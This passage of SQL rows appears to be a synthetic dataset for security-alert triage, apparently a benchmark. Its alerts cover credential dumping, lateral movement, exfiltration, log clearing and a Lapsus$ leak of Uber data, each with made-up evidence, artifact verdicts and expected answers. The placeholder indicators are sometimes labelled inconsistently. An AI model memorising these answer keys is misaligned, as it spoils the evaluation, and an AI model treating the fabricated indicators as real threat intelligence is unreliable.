3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"internal_ip\\\":\\\"10.1.12.34\\\",\\\"user\\\":\\\"j.doe@company.com\\\",\\\"channel\\\":\\\"#general\\\",\\\"message\\\":\\\"Please review the attached document for the latest update.\\\",\\\"attachment\\\":{\\\"filename\\\":\\\"Q3_finance_report.pdf\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"url\\\":\\\"http://malicious-site.com/download/Q3_finance_report.pdf\\\"},\\\"action_taken\\\":\\\"None\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.559Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"internal_ip\\\":\\\"10.1.12.34\\\",\\\"user\\\":\\\"j.doe@company.com\\\",\\\"channel\\\":\\\"#general\\\",\\\"message\\\":\\\"Please review the attached document for the latest update.\\\",\\\"attachment\\\":{\\\"filename\\\":\\\"Q3_finance_report.pdf\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"url\\\":\\\"http://malicious-site.com/download/Q3_finance_report.pdf\\\"},\\\"action_taken\\\":\\\"None\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(887, 'Persistence through Compromised Credentials', 'high', 'Credential storage systems', 'An attacker accessed Slack and retrieved exposed credentials, utilizing them to maintain persistent access within the network. The retrieved credentials were then used to access several internal systems.', 'Credential Dumping', 'T1003.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_type\":\"credential_access\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.5\",\"user\":\"compromised_user\",\"retrieved_credentials\":[{\"type\":\"password\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\"},{\"type\":\"token\",\"value\":\"xoxb-2398473284-2398478234-2398478234\"}],\"accessed_systems\":[\"192.168.1.10\",\"192.168.1.11\"],\"filename\":\"cred_dump.log\",\"event_id\":\"evt-2023-10-12-001\"}', '2026-01-15 00:57:25', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous credential dumping activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal host used as a pivot point.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User credentials potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"Password Hash Database\",\"verdict\":\"malicious\",\"details\":\"Known password hash for \'password\'.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"cred_dump.log\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Log Files\",\"verdict\":\"clean\",\"details\":\"Log file generated during credential access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.561Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"credential_access\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.5\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"retrieved_credentials\\\":[{\\\"type\\\":\\\"password\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"},{\\\"type\\\":\\\"token\\\",\\\"value\\\":\\\"xoxb-2398473284-2398478234-2398478234\\\"}],\\\"accessed_systems\\\":[\\\"192.168.1.10\\\",\\\"192.168.1.11\\\"],\\\"filename\\\":\\\"cred_dump.log\\\",\\\"event_id\\\":\\\"evt-2023-10-12-001\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.561Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"credential_access\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.5\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"retrieved_credentials\\\":[{\\\"type\\\":\\\"password\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"},{\\\"type\\\":\\\"token\\\",\\\"value\\\":\\\"xoxb-2398473284-2398478234-2398478234\\\"}],\\\"accessed_systems\\\":[\\\"192.168.1.10\\\",\\\"192.168.1.11\\\"],\\\"filename\\\":\\\"cred_dump.log\\\",\\\"event_id\\\":\\\"evt-2023-10-12-001\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.561Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"credential_access\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.5\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"retrieved_credentials\\\":[{\\\"type\\\":\\\"password\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"},{\\\"type\\\":\\\"token\\\",\\\"value\\\":\\\"xoxb-2398473284-2398478234-2398478234\\\"}],\\\"accessed_systems\\\":[\\\"192.168.1.10\\\",\\\"192.168.1.11\\\"],\\\"filename\\\":\\\"cred_dump.log\\\",\\\"event_id\\\":\\\"evt-2023-10-12-001\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.561Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"credential_access\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.5\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"retrieved_credentials\\\":[{\\\"type\\\":\\\"password\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"},{\\\"type\\\":\\\"token\\\",\\\"value\\\":\\\"xoxb-2398473284-2398478234-2398478234\\\"}],\\\"accessed_systems\\\":[\\\"192.168.1.10\\\",\\\"192.168.1.11\\\"],\\\"filename\\\":\\\"cred_dump.log\\\",\\\"event_id\\\":\\\"evt-2023-10-12-001\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.561Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_type\\\":\\\"credential_access\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.5\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"retrieved_credentials\\\":[{\\\"type\\\":\\\"password\\\",\\\"hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\"},{\\\"type\\\":\\\"token\\\",\\\"value\\\":\\\"xoxb-2398473284-2398478234-2398478234\\\"}],\\\"accessed_systems\\\":[\\\"192.168.1.10\\\",\\\"192.168.1.11\\\"],\\\"filename\\\":\\\"cred_dump.log\\\",\\\"event_id\\\":\\\"evt-2023-10-12-001\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(888, 'Lateral Movement to Critical Systems', 'high', 'Network traffic analysis', 'Anomalous network traffic detected indicative of internal reconnaissance activity. The attacker appears to be mapping out critical systems, likely preparing for further lateral movement and potential data exfiltration.', 'Internal Reconnaissance', 'T1049: System Network Connections Discovery', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:28Z\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"10.0.0.12\",\"protocol\":\"TCP\",\"destination_port\":445,\"user\":\"jdoe\",\"file_accessed\":\"critical_data.xlsx\",\"external_ip\":\"203.0.113.45\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"access_attempt\",\"status\":\"failed\",\"reason\":\"access_denied\"}', '2026-01-15 00:57:25', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_monitoring\",\"verdict\":\"internal\",\"details\":\"Known internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_monitoring\",\"verdict\":\"internal\",\"details\":\"Critical system IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"suspicious\",\"details\":\"IP address associated with previous reconnaissance activities.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"clean\",\"details\":\"Commonly occurring hash, likely not malicious.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"critical_data.xlsx\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_inventory\",\"verdict\":\"internal\",\"details\":\"Sensitive file containing critical data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(889, 'Exfiltration of HackerOne Reports', 'critical', 'Data transfer logs', 'Targeting vulnerability reports, the attackers extract sensitive information, including zero-day vulnerabilities.', 'Data Exfiltration', 'T1041', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:32:45Z\",\"source_ip\":\"10.54.23.101\",\"destination_ip\":\"192.168.1.15\",\"external_ip\":\"185.213.211.156\",\"user\":\"jdoe\",\"filename\":\"HackerOne_Report_Sept2023.zip\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"exfiltration\",\"destination_port\":443,\"protocol\":\"HTTPS\"}', '2026-01-15 00:57:25', '2026-02-16 17:56:26', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.54.23.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_logs\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in suspicious data transfer.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.213.211.156\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous data breaches.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"HackerOne_Report_Sept2023.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"File containing sensitive vulnerability information.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_repository\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with suspicious file activity.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_activity\",\"verdict\":\"suspicious\",\"details\":\"Unusual data access patterns detected for this user.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.564Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:45Z\\\",\\\"source_ip\\\":\\\"10.54.23.101\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"185.213.211.156\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"HackerOne_Report_Sept2023.zip\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.564Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:45Z\\\",\\\"source_ip\\\":\\\"10.54.23.101\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"185.213.211.156\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"HackerOne_Report_Sept2023.zip\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.564Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:45Z\\\",\\\"source_ip\\\":\\\"10.54.23.101\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"185.213.211.156\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"HackerOne_Report_Sept2023.zip\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.564Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:45Z\\\",\\\"source_ip\\\":\\\"10.54.23.101\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"185.213.211.156\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"HackerOne_Report_Sept2023.zip\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.564Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:45Z\\\",\\\"source_ip\\\":\\\"10.54.23.101\\\",\\\"destination_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"185.213.211.156\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"HackerOne_Report_Sept2023.zip\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(890, 'Cover Tracks Using Log Tampering', 'high', 'System logs', 'Advanced log manipulation detected. Attackers altered log entries to erase digital footprints. Obfuscation tactics employed to hinder detection and response efforts.', 'Defense Evasion', 'T1070.001 - Indicator Removal on Host: Clear Windows Event Logs', 1, 'new', NULL, '{\"timestamp\":\"2023-10-02T14:22:18Z\",\"event_id\":1102,\"event_source\":\"Microsoft-Windows-Eventlog\",\"log_name\":\"Security\",\"message\":\"The audit log was cleared.\",\"user\":{\"account_name\":\"admin_user\",\"account_domain\":\"CORP\",\"logon_id\":\"0x3e7\"},\"network\":{\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"192.168.1.10\",\"external_ip\":\"203.0.113.45\"},\"file\":{\"file_name\":\"evtx_log_clear.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}}', '2026-01-15 00:57:25', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_scan\",\"verdict\":\"internal\",\"details\":\"Internal source IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious external IP associated with APT activity\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with log tampering tool\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"evtx_log_clear.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"corporate_policy\",\"verdict\":\"suspicious\",\"details\":\"Unauthorized software used for log manipulation\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.566Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:22:18Z\\\",\\\"event_id\\\":1102,\\\"event_source\\\":\\\"Microsoft-Windows-Eventlog\\\",\\\"log_name\\\":\\\"Security\\\",\\\"message\\\":\\\"The audit log was cleared.\\\",\\\"user\\\":{\\\"account_name\\\":\\\"admin_user\\\",\\\"account_domain\\\":\\\"CORP\\\",\\\"logon_id\\\":\\\"0x3e7\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\"},\\\"file\\\":{\\\"file_name\\\":\\\"evtx_log_clear.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:22.566Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:22:18Z\\\",\\\"event_id\\\":1102,\\\"event_source\\\":\\\"Microsoft-Windows-Eventlog\\\",\\\"log_name\\\":\\\"Security\\\",\\\"message\\\":\\\"The audit log was cleared.\\\",\\\"user\\\":{\\\"account_name\\\":\\\"admin_user\\\",\\\"account_domain\\\":\\\"CORP\\\",\\\"logon_id\\\":\\\"0x3e7\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\"},\\\"file\\\":{\\\"file_name\\\":\\\"evtx_log_clear.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:22.566Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:22:18Z\\\",\\\"event_id\\\":1102,\\\"event_source\\\":\\\"Microsoft-Windows-Eventlog\\\",\\\"log_name\\\":\\\"Security\\\",\\\"message\\\":\\\"The audit log was cleared.\\\",\\\"user\\\":{\\\"account_name\\\":\\\"admin_user\\\",\\\"account_domain\\\":\\\"CORP\\\",\\\"logon_id\\\":\\\"0x3e7\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\"},\\\"file\\\":{\\\"file_name\\\":\\\"evtx_log_clear.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:22.566Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:22:18Z\\\",\\\"event_id\\\":1102,\\\"event_source\\\":\\\"Microsoft-Windows-Eventlog\\\",\\\"log_name\\\":\\\"Security\\\",\\\"message\\\":\\\"The audit log was cleared.\\\",\\\"user\\\":{\\\"account_name\\\":\\\"admin_user\\\",\\\"account_domain\\\":\\\"CORP\\\",\\\"logon_id\\\":\\\"0x3e7\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\"},\\\"file\\\":{\\\"file_name\\\":\\\"evtx_log_clear.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:22.566Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-02T14:22:18Z\\\",\\\"event_id\\\":1102,\\\"event_source\\\":\\\"Microsoft-Windows-Eventlog\\\",\\\"log_name\\\":\\\"Security\\\",\\\"message\\\":\\\"The audit log was cleared.\\\",\\\"user\\\":{\\\"account_name\\\":\\\"admin_user\\\",\\\"account_domain\\\":\\\"CORP\\\",\\\"logon_id\\\":\\\"0x3e7\\\"},\\\"network\\\":{\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\"},\\\"file\\\":{\\\"file_name\\\":\\\"evtx_log_clear.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(891, 'Final Stage: Public Disclosure and Exploitation', 'critical', 'Public forums and dark web', 'Lapsus$ has publicly disclosed stolen information, causing significant reputational harm to Uber. The data was released on multiple platforms, making it accessible to a wide audience, potentially leading to financial losses and further exploitation.', 'Information Operations', 'T1583 - Data Leak Sites', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"185.220.101.5\",\"internal_ip\":\"192.168.1.15\",\"username\":\"jdoe\",\"exfiltrated_filename\":\"uber_customer_data.zip\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"forum_url\":\"http://darkwebforum.example/disclosure/uber-leak\",\"malicious_actor\":\"Lapsus$\",\"action\":\"Data Public Disclosure\",\"target\":\"Uber\"}', '2026-01-15 00:57:25', '2026-02-16 17:56:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.220.101.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP used by Lapsus$ for malicious operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with the compromised machine.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with leaked Uber data.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://darkwebforum.example/disclosure/uber-leak\",\"is_critical\":true,\"osint_result\":{\"source\":\"Dark Web Monitoring\",\"verdict\":\"malicious\",\"details\":\"URL hosting the leaked Uber data.\"}}],\"recommended_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.567Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"185.220.101.5\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_filename\\\":\\\"uber_customer_data.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"forum_url\\\":\\\"http://darkwebforum.example/disclosure/uber-leak\\\",\\\"malicious_actor\\\":\\\"Lapsus$\\\",\\\"action\\\":\\\"Data Public Disclosure\\\",\\\"target\\\":\\\"Uber\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.567Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"source_ip\\\":\\\"185.220.101.5\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfiltrated_filename\\\":\\\"uber_customer_data.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"forum_url\\\":\\\"http://darkwebforum.example/disclosure/uber-leak\\\",\\\"malicious_actor\\\":\\\"Lapsus$\\\",\\\"action\\\":\\\"Data Public Disclosure\\\",\\\"target\\\":\\\"Uber\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.567Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 